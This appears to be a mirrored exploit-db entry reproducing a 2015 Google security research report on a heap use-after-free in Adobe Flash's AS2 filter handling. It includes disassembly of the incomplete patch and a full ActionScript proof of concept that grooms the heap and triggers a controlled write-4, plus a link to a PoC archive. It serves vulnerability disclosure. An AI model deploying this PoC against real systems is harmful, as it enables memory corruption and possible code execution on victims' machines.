Adobe Flash – Heap Use-After-Free in SurfaceFilterList::C​reateFromScriptAtom

  • 作者: bilou
    日期: 2015-08-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/37884/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=484&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
    
    [Tracking for: https://code.google.com/p/chromium/issues/detail?id=508072]
    
    VULNERABILITY DETAILS
    Copy Paste ofIssue 480496 
    
    VERSION
    Chrome Version: N/A yet, Flash 18.0.0.203
    Operating System: [Win7 x64 SP1]
    
    REPRODUCTION CASE
    
    Flash 18.0.0.203 patchedIssue 480496by checking if the internal filter object is still alive after the first Array.length call (from Flash player standalone):
    
    .text:004D71DA loc_4D71DA:
    .text:004D71DA and ecx, 0FFFFFFF8h
    .text:004D71DD callxAS2_getArrayLength
    .text:004D71E2 testeax, eax
    .text:004D71E4 jle short loc_4D725D
    .text:004D71E6 mov ecx, [esp+8+arg_C]
    .text:004D71EA mov eax, [ecx+94h]
    .text:004D71F0 testeax, 0FFFFFFFEh
    .text:004D71F5 jzshort loc_4D7200
    .text:004D71F7 and eax, 0FFFFFFFEh
    .text:004D71FA cmp dword ptr [eax+28h], 0 ; here we check whether the object has been deleted or not
    .text:004D71FE jnz short loc_4D720B
    .text:004D7200
    .text:004D7200 loc_4D7200:
    .text:004D7200 mov ecx, dword_E51A40
    .text:004D7206 callsub_968A00 ; and in that case we suicide
    
    
    Unfortunately they forget to do that check after the second Array.length call:
    
    .text:004D721D loc_4D721D:
    .text:004D721D and eax, 0FFFFFFF8h
    .text:004D7220 pushedi
    .text:004D7221 mov edi, eax
    .text:004D7223 mov ecx, edi
    .text:004D7225 xor esi, esi
    .text:004D7227 callxAS2_getArrayLength ; here we can still execute a script and delete the filters...
    .text:004D722C testeax, eax
    .text:004D722E jle short loc_4D725C
    
    Should crash that way:
    CPU Disasm
    Address Hex dumpCommandComments
    004CE27F8B51 04 MOV EDX,DWORD PTR DS:[ECX+4]
    004CE2828942 04 MOV DWORD PTR DS:[EDX+4],EAX ; write a pointer to 0x41424344
    004CE2858B51 04 MOV EDX,DWORD PTR DS:[ECX+4]
    004CE2888950 08 MOV DWORD PTR DS:[EAX+8],EDX
    004CE28BFF41 08 INC DWORD PTR DS:[ECX+8]
    004CE28E8941 04 MOV DWORD PTR DS:[ECX+4],EAX
    004CE291C2 0400 RETN 4
    004CE294FF41 08 INC DWORD PTR DS:[ECX+8]
    
    
    ***************************************************************************
    Content of flash_as2_filters_uaf_write4_poc.fla
    //Compile that with Flash CS5.5 and change the property "s" in the swf to "4"
    //It's because Flash CS5.5 does not allow naming a property with a numeral
    
    import flash.filters.GlowFilter;
    
    var tfield:TextField = createTextField("tf",1,1,2,3,4)
    var a1:Array = new Array()
    var a2:Array = new Array()
    for (i = 0; i<0x3F8/4;i++) {
    	a2[i] = 0x41424344
    }
    a2[3] = 0
    a2[0x324/4] = 0x41424344
    a2[0x324/4 + 1] = 0x41424344
    a2[0x324/4 + 2] = 0x41414143
    a2[0x324/4 + 3] = 0x41414100
    for (var i = 0; i<0x200;i++) {
    	var tf:TextFormat = new TextFormat()
    	a1[i] = tf
    }
    for (var i = 0; i<0x100;i++) {
    	a1[i].tabStops = a2
    }
    	a1[0xFF].tabStops = []
    
    function f() {
    
    	_global.mc.createTextField("tf",1,1,2,3,4)
    
    a1[0xFE].tabStops = []
    a1[0xFD].tabStops = []
    for (var i = 0x100; i<0x200;i++) {
    		_global.a1[i].tabStops = _global.a2
    	}
    }
    
    _global.mc = this
    _global.counter = 0
    _global.a1 = a1
    _global.a2 = a2
    
    var oCounter:Object = new Object()
    oCounter.valueOf = function () {
    	_global.counter += 1
    	if (_global.counter == 4) f()
    	return 10;
    }
    
    var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
    tfield.filters = o;
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37884.zip